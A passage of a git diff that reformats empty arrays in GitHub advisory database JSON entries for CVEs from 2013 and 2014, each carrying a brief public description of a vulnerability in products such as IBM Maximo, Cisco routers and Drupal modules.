a/advisories/unreviewed/2022/05/GHSA-vf4v-jx55-rc4w/GHSA-vf4v-jx55-rc4w.json b/advisories/unreviewed/2022/05/GHSA-vf4v-jx55-rc4w/GHSA-vf4v-jx55-rc4w.json index dc1c3cb46d3..fe22ac4fdc2 100644 --- a/advisories/unreviewed/2022/05/GHSA-vf4v-jx55-rc4w/GHSA-vf4v-jx55-rc4w.json +++ b/advisories/unreviewed/2022/05/GHSA-vf4v-jx55-rc4w/GHSA-vf4v-jx55-rc4w.json @@ -7,12 +7,8 @@ "CVE-2013-4016" ], "details": "SQL injection vulnerability in IBM Maximo Asset Management 7.x before 7.1.1.7 LAFIX.20140319-0837, 7.1.1.11 before IFIX.20140323-0749, 7.1.1.12 before IFIX.20140321-1336, 7.5.x before 7.5.0.3 IFIX027, 7.5.0.4 before IFIX011, and 7.5.0.5 before IFIX006; SmartCloud Control Desk 7.x before 7.5.0.3 and 7.5.1.x before 7.5.1.2; and Tivoli IT Asset Management for IT, Tivoli Service Request Manager, Maximo Service Desk, and Change and Configuration Management Database (CCMDB) 7.x before 7.1.1.7 LAFIX.20140319-0837, 7.1.1.11 before IFIX.20140207-1801, and 7.1.1.12 before IFIX.20140218-1510 allows remote authenticated users to execute arbitrary SQL commands via a Birt report with a WHERE clause in plain text.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vf7r-mfh4-994c/GHSA-vf7r-mfh4-994c.json b/advisories/unreviewed/2022/05/GHSA-vf7r-mfh4-994c/GHSA-vf7r-mfh4-994c.json index 103cd8ef892..9482b9888ca 100644 --- a/advisories/unreviewed/2022/05/GHSA-vf7r-mfh4-994c/GHSA-vf7r-mfh4-994c.json +++ b/advisories/unreviewed/2022/05/GHSA-vf7r-mfh4-994c/GHSA-vf7r-mfh4-994c.json @@ -7,12 +7,8 @@ "CVE-2013-3752" ], "details": "Unspecified vulnerability in Oracle Solaris 11 allows remote attackers to affect integrity via vectors related to Service Management Facility (SMF).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vfjc-mx6f-464v/GHSA-vfjc-mx6f-464v.json b/advisories/unreviewed/2022/05/GHSA-vfjc-mx6f-464v/GHSA-vfjc-mx6f-464v.json index 9770457b603..d08f5718839 100644 --- a/advisories/unreviewed/2022/05/GHSA-vfjc-mx6f-464v/GHSA-vfjc-mx6f-464v.json +++ b/advisories/unreviewed/2022/05/GHSA-vfjc-mx6f-464v/GHSA-vfjc-mx6f-464v.json @@ -7,12 +7,8 @@ "CVE-2013-5570" ], "details": "Cross-site scripting (XSS) vulnerability in the Javascript and CSS Optimizer extension before 1.1.14 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vfmh-ppm9-22q4/GHSA-vfmh-ppm9-22q4.json b/advisories/unreviewed/2022/05/GHSA-vfmh-ppm9-22q4/GHSA-vfmh-ppm9-22q4.json index 0cc489444dc..3f195fc5d77 100644 --- a/advisories/unreviewed/2022/05/GHSA-vfmh-ppm9-22q4/GHSA-vfmh-ppm9-22q4.json +++ b/advisories/unreviewed/2022/05/GHSA-vfmh-ppm9-22q4/GHSA-vfmh-ppm9-22q4.json @@ -7,12 +7,8 @@ "CVE-2013-2756" ], "details": "Apache CloudStack 4.0.0 before 4.0.2 and Citrix CloudPlatform (formerly Citrix CloudStack) 3.0.x before 3.0.6 Patch C allows remote attackers to bypass the console proxy authentication by leveraging knowledge of the source code.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vg6x-5qcf-g6mj/GHSA-vg6x-5qcf-g6mj.json b/advisories/unreviewed/2022/05/GHSA-vg6x-5qcf-g6mj/GHSA-vg6x-5qcf-g6mj.json index 2977d2af068..b9b35f74ad2 100644 --- a/advisories/unreviewed/2022/05/GHSA-vg6x-5qcf-g6mj/GHSA-vg6x-5qcf-g6mj.json +++ b/advisories/unreviewed/2022/05/GHSA-vg6x-5qcf-g6mj/GHSA-vg6x-5qcf-g6mj.json @@ -7,12 +7,8 @@ "CVE-2013-2957" ], "details": "Cross-site scripting (XSS) vulnerability in IBM InfoSphere Optim Data Growth for Oracle E-Business Suite 6.x, 7.x, and 9.x before 9.1.0.3 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vgp5-9g3f-vwj2/GHSA-vgp5-9g3f-vwj2.json b/advisories/unreviewed/2022/05/GHSA-vgp5-9g3f-vwj2/GHSA-vgp5-9g3f-vwj2.json index 7c4acdd7e0d..5ee80fdb89f 100644 --- a/advisories/unreviewed/2022/05/GHSA-vgp5-9g3f-vwj2/GHSA-vgp5-9g3f-vwj2.json +++ b/advisories/unreviewed/2022/05/GHSA-vgp5-9g3f-vwj2/GHSA-vgp5-9g3f-vwj2.json @@ -7,12 +7,8 @@ "CVE-2013-7188" ], "details": "Cross-site scripting (XSS) vulnerability in KBKP Software HostBill before 2013-12-14 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vhc7-3xc2-j55w/GHSA-vhc7-3xc2-j55w.json b/advisories/unreviewed/2022/05/GHSA-vhc7-3xc2-j55w/GHSA-vhc7-3xc2-j55w.json index dbb150e39d7..a76ac2a28ba 100644 --- a/advisories/unreviewed/2022/05/GHSA-vhc7-3xc2-j55w/GHSA-vhc7-3xc2-j55w.json +++ b/advisories/unreviewed/2022/05/GHSA-vhc7-3xc2-j55w/GHSA-vhc7-3xc2-j55w.json @@ -7,12 +7,8 @@ "CVE-2013-4653" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the signin functionality of ics in MyTeamwork services in Alcatel-Lucent Omnitouch 8660 My Teamwork before 6.7, Omnitouch 8670 Automated Message Delivery System (AMDS) before 6.7, Omnitouch 8460 Advanced Communication Server before 9.1, and OmniTouch 8400 Instant Communications Suite before 6.7.3 (1) allow remote attackers to inject arbitrary web script or HTML via a crafted URL that results in a reflected XSS or (2) allow user-assisted remote attackers to inject arbitrary web script or HTML via a user's personal bookmark entry that results in a stored XSS via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vhcf-5c7x-fg63/GHSA-vhcf-5c7x-fg63.json b/advisories/unreviewed/2022/05/GHSA-vhcf-5c7x-fg63/GHSA-vhcf-5c7x-fg63.json index 30b4202e9a5..b1b88f06b0f 100644 --- a/advisories/unreviewed/2022/05/GHSA-vhcf-5c7x-fg63/GHSA-vhcf-5c7x-fg63.json +++ b/advisories/unreviewed/2022/05/GHSA-vhcf-5c7x-fg63/GHSA-vhcf-5c7x-fg63.json @@ -7,12 +7,8 @@ "CVE-2013-6312" ], "details": "Unspecified vulnerability in IBM Rational Service Tester 8.3.x and 8.5.x before 8.5.1 and Rational Performance Tester 8.3.x and 8.5.x before 8.5.1 allows remote attackers to read arbitrary files via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vm36-ppgc-f683/GHSA-vm36-ppgc-f683.json b/advisories/unreviewed/2022/05/GHSA-vm36-ppgc-f683/GHSA-vm36-ppgc-f683.json index cd8248dafa1..b38fdf6b1be 100644 --- a/advisories/unreviewed/2022/05/GHSA-vm36-ppgc-f683/GHSA-vm36-ppgc-f683.json +++ b/advisories/unreviewed/2022/05/GHSA-vm36-ppgc-f683/GHSA-vm36-ppgc-f683.json @@ -7,12 +7,8 @@ "CVE-2014-0657" ], "details": "The administration portal in Cisco Unified Communications Manager (Unified CM) 9.1(1) and earlier does not properly handle role restrictions, which allows remote authenticated users to bypass role-based access control via multiple visits to a forbidden portal URL, aka Bug ID CSCuj83540.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vpjg-mf6g-q65x/GHSA-vpjg-mf6g-q65x.json b/advisories/unreviewed/2022/05/GHSA-vpjg-mf6g-q65x/GHSA-vpjg-mf6g-q65x.json index 9c217a41eeb..59012a95251 100644 --- a/advisories/unreviewed/2022/05/GHSA-vpjg-mf6g-q65x/GHSA-vpjg-mf6g-q65x.json +++ b/advisories/unreviewed/2022/05/GHSA-vpjg-mf6g-q65x/GHSA-vpjg-mf6g-q65x.json @@ -7,12 +7,8 @@ "CVE-2013-5099" ], "details": "Cross-site scripting (XSS) vulnerability in article.php in Anchor CMS 0.9.1, when comments are enabled, allows remote attackers to inject arbitrary web script or HTML via the Name field. NOTE: some sources have reported that comments.php is vulnerable, but certain functions from comments.php are used by article.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vpxj-5f34-wf7j/GHSA-vpxj-5f34-wf7j.json b/advisories/unreviewed/2022/05/GHSA-vpxj-5f34-wf7j/GHSA-vpxj-5f34-wf7j.json index 43ea42b14e1..aeed24045df 100644 --- a/advisories/unreviewed/2022/05/GHSA-vpxj-5f34-wf7j/GHSA-vpxj-5f34-wf7j.json +++ b/advisories/unreviewed/2022/05/GHSA-vpxj-5f34-wf7j/GHSA-vpxj-5f34-wf7j.json @@ -7,12 +7,8 @@ "CVE-2013-4977" ], "details": "Buffer overflow in the RTSP Packet Handler in Hikvision DS-2CD7153-E IP camera with firmware 4.1.0 b130111 (Jan 2013), and possibly other devices, allows remote attackers to cause a denial of service (device crash and reboot) and possibly execute arbitrary code via a long string in the Range header field in an RTSP transaction.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vqmx-64jh-5r2h/GHSA-vqmx-64jh-5r2h.json b/advisories/unreviewed/2022/05/GHSA-vqmx-64jh-5r2h/GHSA-vqmx-64jh-5r2h.json index 7f108d5226b..3d1a429295d 100644 --- a/advisories/unreviewed/2022/05/GHSA-vqmx-64jh-5r2h/GHSA-vqmx-64jh-5r2h.json +++ b/advisories/unreviewed/2022/05/GHSA-vqmx-64jh-5r2h/GHSA-vqmx-64jh-5r2h.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vr26-xfqg-vcvf/GHSA-vr26-xfqg-vcvf.json b/advisories/unreviewed/2022/05/GHSA-vr26-xfqg-vcvf/GHSA-vr26-xfqg-vcvf.json index c3354ac3f36..86d9713bdcb 100644 --- a/advisories/unreviewed/2022/05/GHSA-vr26-xfqg-vcvf/GHSA-vr26-xfqg-vcvf.json +++ b/advisories/unreviewed/2022/05/GHSA-vr26-xfqg-vcvf/GHSA-vr26-xfqg-vcvf.json @@ -7,12 +7,8 @@ "CVE-2013-5971" ], "details": "Session fixation vulnerability in the vSphere Web Client Server in VMware vCenter Server 5.0 before Update 3 allows remote attackers to hijack web sessions and gain privileges via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vrgr-hvv8-pmcm/GHSA-vrgr-hvv8-pmcm.json b/advisories/unreviewed/2022/05/GHSA-vrgr-hvv8-pmcm/GHSA-vrgr-hvv8-pmcm.json index 2e12ba1fce0..71293caf1c7 100644 --- a/advisories/unreviewed/2022/05/GHSA-vrgr-hvv8-pmcm/GHSA-vrgr-hvv8-pmcm.json +++ b/advisories/unreviewed/2022/05/GHSA-vrgr-hvv8-pmcm/GHSA-vrgr-hvv8-pmcm.json @@ -7,12 +7,8 @@ "CVE-2013-4499" ], "details": "Cross-site scripting (XSS) vulnerability in the Bean module 7.x-1.x before 7.x-1.5 for Drupal allows remote attackers to inject arbitrary web script or HTML via the bean title.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vrx3-prgm-pr78/GHSA-vrx3-prgm-pr78.json b/advisories/unreviewed/2022/05/GHSA-vrx3-prgm-pr78/GHSA-vrx3-prgm-pr78.json index 787ef31b322..c8cd92c7cfc 100644 --- a/advisories/unreviewed/2022/05/GHSA-vrx3-prgm-pr78/GHSA-vrx3-prgm-pr78.json +++ b/advisories/unreviewed/2022/05/GHSA-vrx3-prgm-pr78/GHSA-vrx3-prgm-pr78.json @@ -7,12 +7,8 @@ "CVE-2013-5388" ], "details": "Cross-site scripting (XSS) vulnerability in iNotes in IBM Domino 8.5.3 before FP5 IF2 and 9.0 before IF5 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka SPR PTHN9AYK5F.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vvf3-73cq-g542/GHSA-vvf3-73cq-g542.json b/advisories/unreviewed/2022/05/GHSA-vvf3-73cq-g542/GHSA-vvf3-73cq-g542.json index b2f4a894276..f5988434c0a 100644 --- a/advisories/unreviewed/2022/05/GHSA-vvf3-73cq-g542/GHSA-vvf3-73cq-g542.json +++ b/advisories/unreviewed/2022/05/GHSA-vvf3-73cq-g542/GHSA-vvf3-73cq-g542.json @@ -7,12 +7,8 @@ "CVE-2013-5460" ], "details": "IBM Maximo Asset Management 7.x before 7.5.0.6 and SmartCloud Control Desk 7.x before 7.5.0.3 and 7.5.1.x before 7.5.1.2 allow remote authenticated users to bypass intended access restrictions, and read communication logs associated with unrelated records, via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vw34-99x5-jpc2/GHSA-vw34-99x5-jpc2.json b/advisories/unreviewed/2022/05/GHSA-vw34-99x5-jpc2/GHSA-vw34-99x5-jpc2.json index 19a389b03ff..d5e0ea6c1bd 100644 --- a/advisories/unreviewed/2022/05/GHSA-vw34-99x5-jpc2/GHSA-vw34-99x5-jpc2.json +++ b/advisories/unreviewed/2022/05/GHSA-vw34-99x5-jpc2/GHSA-vw34-99x5-jpc2.json @@ -7,12 +7,8 @@ "CVE-2013-4884" ], "details": "Cross-site scripting (XSS) vulnerability in McAfee SuperScan 4.0 allows remote attackers to inject arbitrary web script or HTML via UTF-7 encoded sequences in a server response, which is not properly handled in the SuperScan HTML report.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vwfj-gpqr-5pqc/GHSA-vwfj-gpqr-5pqc.json b/advisories/unreviewed/2022/05/GHSA-vwfj-gpqr-5pqc/GHSA-vwfj-gpqr-5pqc.json index c5d9a186f7b..c3a50831d33 100644 --- a/advisories/unreviewed/2022/05/GHSA-vwfj-gpqr-5pqc/GHSA-vwfj-gpqr-5pqc.json +++ b/advisories/unreviewed/2022/05/GHSA-vwfj-gpqr-5pqc/GHSA-vwfj-gpqr-5pqc.json @@ -7,12 +7,8 @@ "CVE-2013-6306" ], "details": "Unspecified vulnerability on IBM Power 7 Systems 740 before 740.70 01Ax740_121, 760 before 760.40 Ax760_078, and 770 before 770.30 01Ax770_062 allows local users to gain Service Processor privileges via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-vx5m-4g29-886g/GHSA-vx5m-4g29-886g.json b/advisories/unreviewed/2022/05/GHSA-vx5m-4g29-886g/GHSA-vx5m-4g29-886g.json index 2e0b96c86e3..335949d6542 100644 --- a/advisories/unreviewed/2022/05/GHSA-vx5m-4g29-886g/GHSA-vx5m-4g29-886g.json +++ b/advisories/unreviewed/2022/05/GHSA-vx5m-4g29-886g/GHSA-vx5m-4g29-886g.json @@ -7,12 +7,8 @@ "CVE-2014-0659" ], "details": "The Cisco WAP4410N access point with firmware through 2.0.6.1, WRVS4400N router with firmware 1.x through 1.1.13 and 2.x through 2.0.2.1, and RVS4000 router with firmware through 2.0.3.2 allow remote attackers to read credential and configuration data, and execute arbitrary commands, via requests to the test interface on TCP port 32764, aka Bug IDs CSCum37566, CSCum43693, CSCum43700, and CSCum43685.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vxhj-hm67-fv2j/GHSA-vxhj-hm67-fv2j.json b/advisories/unreviewed/2022/05/GHSA-vxhj-hm67-fv2j/GHSA-vxhj-hm67-fv2j.json index 13fbcb248c1..4838363d221 100644 --- a/advisories/unreviewed/2022/05/GHSA-vxhj-hm67-fv2j/GHSA-vxhj-hm67-fv2j.json +++ b/advisories/unreviewed/2022/05/GHSA-vxhj-hm67-fv2j/GHSA-vxhj-hm67-fv2j.json @@ -7,12 +7,8 @@ "CVE-2013-6990" ], "details": "FortiGuard FortiAuthenticator before 3.0 allows remote administrators to gain privileges via the command line interface.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-w2v5-r8g7-67hv/GHSA-w2v5-r8g7-67hv.json b/advisories/unreviewed/2022/05/GHSA-w2v5-r8g7-67hv/GHSA-w2v5-r8g7-67hv.json index 98fccb16c5a..b439d09ba2c 100644 --- a/advisories/unreviewed/2022/05/GHSA-w2v5-r8g7-67hv/GHSA-w2v5-r8g7-67hv.json +++ b/advisories/unreviewed/2022/05/GHSA-w2v5-r8g7-67hv/GHSA-w2v5-r8g7-67hv.json @@ -7,12 +7,8 @@ "CVE-2013-4944" ], "details": "Cross-site scripting (XSS) vulnerability in the BuddyPress Extended Friendship Request plugin before 1.0.2 for WordPress, when the \"Friend Connections\" component is enabled, allows remote attackers to inject arbitrary web script or HTML via the friendship_request_message parameter to wp-admin/admin-ajax.php. NOTE: some of these details are obtained from third party information.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w3gc-27mw-xwr6/GHSA-w3gc-27mw-xwr6.json b/advisories/unreviewed/2022/05/GHSA-w3gc-27mw-xwr6/GHSA-w3gc-27mw-xwr6.json index 5d37598dafb..36be31f9c5d 100644 --- a/advisories/unreviewed/2022/05/GHSA-w3gc-27mw-xwr6/GHSA-w3gc-27mw-xwr6.json +++ b/advisories/unreviewed/2022/05/GHSA-w3gc-27mw-xwr6/GHSA-w3gc-27mw-xwr6.json @@ -7,12 +7,8 @@ "CVE-2013-3537" ], "details": "Multiple SQL injection vulnerabilities in todooforum.php in Todoo Forum 2.0 allow remote attackers to execute arbitrary SQL commands via the (1) id_post or (2) pg parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w3v3-wvmj-3f87/GHSA-w3v3-wvmj-3f87.json b/advisories/unreviewed/2022/05/GHSA-w3v3-wvmj-3f87/GHSA-w3v3-wvmj-3f87.json index 6447f258aba..795a5ec730a 100644 --- a/advisories/unreviewed/2022/05/GHSA-w3v3-wvmj-3f87/GHSA-w3v3-wvmj-3f87.json +++ b/advisories/unreviewed/2022/05/GHSA-w3v3-wvmj-3f87/GHSA-w3v3-wvmj-3f87.json @@ -7,12 +7,8 @@ "CVE-2013-3736" ], "details": "Cross-site scripting (XSS) vulnerability in the MobileUI (aka RT-Extension-MobileUI) extension before 1.04 in Request Tracker (RT) 4.0.0 before 4.0.13 allows remote attackers to inject arbitrary web script or HTML via the name of an attached file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w437-c847-qhr7/GHSA-w437-c847-qhr7.json b/advisories/unreviewed/2022/05/GHSA-w437-c847-qhr7/GHSA-w437-c847-qhr7.json index a08d3778f7d..18ead795cf9 100644 --- a/advisories/unreviewed/2022/05/GHSA-w437-c847-qhr7/GHSA-w437-c847-qhr7.json +++ b/advisories/unreviewed/2022/05/GHSA-w437-c847-qhr7/GHSA-w437-c847-qhr7.json @@ -7,12 +7,8 @@ "CVE-2013-7190" ], "details": "Multiple directory traversal vulnerabilities in iScripts AutoHoster, possibly 2.4, allow remote attackers to read arbitrary files via the (1) tmpid parameter to websitebuilder/showtemplateimage.php, (2) fname parameter to admin/downloadfile.php, or (3) id parameter to support/admin/csvdownload.php; or (4) have an unspecified impact via unspecified vectors in support/parser/main_smtp.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w47m-v79x-838j/GHSA-w47m-v79x-838j.json b/advisories/unreviewed/2022/05/GHSA-w47m-v79x-838j/GHSA-w47m-v79x-838j.json index e8a0c837a09..fdaa0faca83 100644 --- a/advisories/unreviewed/2022/05/GHSA-w47m-v79x-838j/GHSA-w47m-v79x-838j.json +++ b/advisories/unreviewed/2022/05/GHSA-w47m-v79x-838j/GHSA-w47m-v79x-838j.json @@ -7,12 +7,8 @@ "CVE-2013-5462" ], "details": "IBM/ECMClient/configure/explodedformat/navigator/header.jsp in IBM Content Navigator 2.0.0, 2.0.1 before 2.0.1.2-ICN-FP002, and 2.0.2 before 2.0.2.1-ICN-FP001 allows remote attackers to conduct clickjacking attacks via vectors involving FRAME elements.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w6q9-779p-7mp7/GHSA-w6q9-779p-7mp7.json b/advisories/unreviewed/2022/05/GHSA-w6q9-779p-7mp7/GHSA-w6q9-779p-7mp7.json index 2cb3b755362..d22d48d4400 100644 --- a/advisories/unreviewed/2022/05/GHSA-w6q9-779p-7mp7/GHSA-w6q9-779p-7mp7.json +++ b/advisories/unreviewed/2022/05/GHSA-w6q9-779p-7mp7/GHSA-w6q9-779p-7mp7.json @@ -7,12 +7,8 @@ "CVE-2013-7103" ], "details": "McAfee Email Gateway 7.6 allows remote authenticated administrators to execute arbitrary commands via shell metacharacters in the value attribute in a (1) TestFile XML element or the (2) hostname. NOTE: this issue can be combined with CVE-2013-7092 to allow remote attackers to execute commands.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w6xp-hv83-4q24/GHSA-w6xp-hv83-4q24.json b/advisories/unreviewed/2022/05/GHSA-w6xp-hv83-4q24/GHSA-w6xp-hv83-4q24.json index c7698e6a020..877f6cfd5cb 100644 --- a/advisories/unreviewed/2022/05/GHSA-w6xp-hv83-4q24/GHSA-w6xp-hv83-4q24.json +++ b/advisories/unreviewed/2022/05/GHSA-w6xp-hv83-4q24/GHSA-w6xp-hv83-4q24.json @@ -7,12 +7,8 @@ "CVE-2013-7136" ], "details": "The UPC Ireland Cisco EPC 2425 router (aka Horizon Box) does not have a sufficiently large number of possible WPA-PSK passphrases, which makes it easier for remote attackers to obtain access via a brute-force attack.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-w7pj-j5hg-rm37/GHSA-w7pj-j5hg-rm37.json b/advisories/unreviewed/2022/05/GHSA-w7pj-j5hg-rm37/GHSA-w7pj-j5hg-rm37.json index c44485252ed..6e458a95a42 100644 --- a/advisories/unreviewed/2022/05/GHSA-w7pj-j5hg-rm37/GHSA-w7pj-j5hg-rm37.json +++ b/advisories/unreviewed/2022/05/GHSA-w7pj-j5hg-rm37/GHSA-w7pj-j5hg-rm37.json @@ -7,12 +7,8 @@ "CVE-2013-5459" ], "details": "Unspecified vulnerability in IBM Rational Software Architect (RSA) Design Manager and Rational Rhapsody Design Manager 3.x through 3.0.1 and 4.x before 4.0.6 allows remote authenticated users to modify data by leveraging improper parameter checking.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-w94j-93hp-fjc9/GHSA-w94j-93hp-fjc9.json b/advisories/unreviewed/2022/05/GHSA-w94j-93hp-fjc9/GHSA-w94j-93hp-fjc9.json index 77166117563..e2ca608df7e 100644 --- a/advisories/unreviewed/2022/05/GHSA-w94j-93hp-fjc9/GHSA-w94j-93hp-fjc9.json +++ b/advisories/unreviewed/2022/05/GHSA-w94j-93hp-fjc9/GHSA-w94j-93hp-fjc9.json @@ -7,12 +7,8 @@ "CVE-2013-6074" ], "details": "Cross-site scripting (XSS) vulnerability in Open-Xchange (OX) AppSuite 7.2.x before 7.2.2-rev25 and 7.4.x before 7.4.0-rev14 allows remote attackers to inject arbitrary web script or HTML via an attached SVG file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w97w-3q7r-qmwm/GHSA-w97w-3q7r-qmwm.json b/advisories/unreviewed/2022/05/GHSA-w97w-3q7r-qmwm/GHSA-w97w-3q7r-qmwm.json index 89b99fed40f..f738743229e 100644 --- a/advisories/unreviewed/2022/05/GHSA-w97w-3q7r-qmwm/GHSA-w97w-3q7r-qmwm.json +++ b/advisories/unreviewed/2022/05/GHSA-w97w-3q7r-qmwm/GHSA-w97w-3q7r-qmwm.json @@ -7,12 +7,8 @@ "CVE-2013-4067" ], "details": "IBM InfoSphere Information Server 8.0, 8.1, 8.5 through FP3, 8.7, and 9.1 allows remote attackers to hijack sessions and read cookie values, or conduct phishing attacks to capture credentials, via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-w98g-pj62-qv85/GHSA-w98g-pj62-qv85.json b/advisories/unreviewed/2022/05/GHSA-w98g-pj62-qv85/GHSA-w98g-pj62-qv85.json index 45f44dc9350..ed36d8ad792 100644 --- a/advisories/unreviewed/2022/05/GHSA-w98g-pj62-qv85/GHSA-w98g-pj62-qv85.json +++ b/advisories/unreviewed/2022/05/GHSA-w98g-pj62-qv85/GHSA-w98g-pj62-qv85.json @@ -7,12 +7,8 @@ "CVE-2013-3639" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in Xaraya 2.4.0-b1 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) id, (2) interface, (3) name, or (4) tabmodule parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w9fc-4qqg-j9c7/GHSA-w9fc-4qqg-j9c7.json b/advisories/unreviewed/2022/05/GHSA-w9fc-4qqg-j9c7/GHSA-w9fc-4qqg-j9c7.json index 3ca9eb58b93..c603dba0205 100644 --- a/advisories/unreviewed/2022/05/GHSA-w9fc-4qqg-j9c7/GHSA-w9fc-4qqg-j9c7.json +++ b/advisories/unreviewed/2022/05/GHSA-w9fc-4qqg-j9c7/GHSA-w9fc-4qqg-j9c7.json @@ -7,12 